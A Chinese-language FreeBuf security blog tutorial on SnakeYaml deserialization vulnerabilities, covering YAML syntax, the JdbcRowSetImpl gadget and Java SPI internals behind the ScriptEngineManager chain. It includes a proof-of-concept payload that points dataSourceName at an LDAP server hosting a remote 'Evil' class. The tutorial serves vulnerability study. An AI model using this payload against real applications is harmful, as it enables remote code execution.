freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

深入浅出SnakeYaml反序列化
2024-10-28 11:40:32
所属地 广东省

SnakeYaml是java的yaml解析类库,支持Java对象的序列化/反序列化。

类似python,SnakeYaml使用缩进代表层级关系,缩进只能用空格,不能用TAB。

Copy一手Yaml语法:

1、对象

使用冒号代表,格式为key: value。冒号后面要加一个空格:

key: value

可以使用缩进表示层级关系:

key: 
    child-key: value
    child-key2: value2

2、数组

使用一个短横线加一个空格代表一个数组项:

hobby:
    - Java
    - LOL

3、常量

YAML中提供了多种常量结构,包括:整数,浮点数,字符串,NULL,日期,布尔,时间。下面使用一个例子来快速了解常量的基本使用:

boolean: 
    - TRUE  #true,True都可以
    - FALSE  #false,False都可以
float:
    - 3.14
    - 6.8523015e+5  #可以使用科学计数法
int:
    - 123
    - 0b1010_0111_0100_1010_1110    #二进制表示
null:
    nodeName: 'node'
    parent: ~  #使用~表示null
string:
    - 哈哈
    - 'Hello world'  #可以使用双引号或者单引号包裹特殊字符
    - newline
      newline2    #字符串可以拆成多行,每一行会被转化成一个空格
date:
    - 2022-07-28    #日期必须使用ISO 8601格式,即yyyy-MM-dd
datetime: 
    -  2022-07-28T15:02:31+08:00    #时间使用ISO 8601格式,时间和日期之间使用T连接,最后使用+代表时区

SnakeYaml反序列化

全版本可利用

<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.27</version>
</dependency>

SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。

  • Yaml.load():入参是一个字符串或者一个文件,经过反序列化之后返回一个Java对象;

  • Yaml.dump():将一个对象转化为yaml文件形式;

其中序列化出来的对象格式为!!Snake.类名

20220802103026-11a270ac-120b-1

在反序列化时可以用!!指定反序列化的类名,跟fastjson一样

且是调用setter赋值,fastjson能用的JdbcRowSetImpl肯定能用

JdbcRowSetImpl

注意SnakeYaml不能互转false和0,所以payload填false bool

POC:

public static void main(String[] args) throws Exception {
        String str = "!!com.sun.rowset.JdbcRowSetImpl\n" +
                "{\n"+
                "dataSourceName: ldap://192.168.80.1:8085/Evil,\n" +
                "autoCommit: false\n"+
                "}";
        Yaml yaml = new Yaml();
        yaml.load(str);
    }

ScriptEngineManager

这个链利用了SPI机制

SPI 机制

Java SPI(Service Provider Interface)是Java官方提供的一种服务发现机制,它允许在运行时动态地加载实现特定接口的类,而不需要在代码中显式地指定该类

当使用ServiceLoader.load(Class<T> service) 方法加载服务时,会检查META-INF/services目录下是否存在以接口全限定名命名的文件。如果存在,则读取文件内容,获取实现该接口的类的全限定名,并通过Class.forName()方法加载对应的类。

而且当我们调用ServiceLoader.load(Class<T> service)方法时,并不会立即将所有实现了该接口的类都加载进来,而是返回一个懒加载迭代器

只有在使用迭代器遍历时,才会按需加载对应的类并创建其实例。

我们从源码分析下

SPI源码分析

锁定到ServiceLoader.load(Class<T> service),调用了另一个参数的load

image-20241023150437749

然后调用ServiceLoader构造函数

image-20241023150534513

构造函数调用reload

image-20241023150551381

reload生成了一个LazyIterator

image-20241023150602218

跟进到这个LazyIterator内部类,很明显我们在使用这个迭代器的时候,会先调用hashNext->hasNextService;再调用next,进而调用到nextService

image-20241023151104157

在它的hasNextService获取了类路径为"META-IN/services/"+类名,并getResource,注意这里获取到的是configs的路径。后面的parse是解析这个configs

image-20241023153246135

parse按行解析configs文件

image-20241023153346166

在ServiceLoader.LazyInterator的nextService内完成了Class.forName初始化和newInstance实例化

image-20241023151007315

如果load的参数可以是http URL,是不是意味着ServiceLoader.load能加载远程META-INF/services下的恶意类?

SPI使用

先看看SPI怎么用的:

  • 定义接口:首先需要定义一个接口,所有实现该接口的类都将被注册为服务提供者。

  • 创建实现类:创建一个或多个实现接口的类,这些类将作为服务提供者。

  • 配置文件:在 META-INF/services 目录下创建一个以接口全限定名命名的文件(也就是我们前面分析的configs),文件内容为实现该接口的类的全限定名,每个类名占一行。

# Java代码审计 # YAML # Java反序列化漏洞分析
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录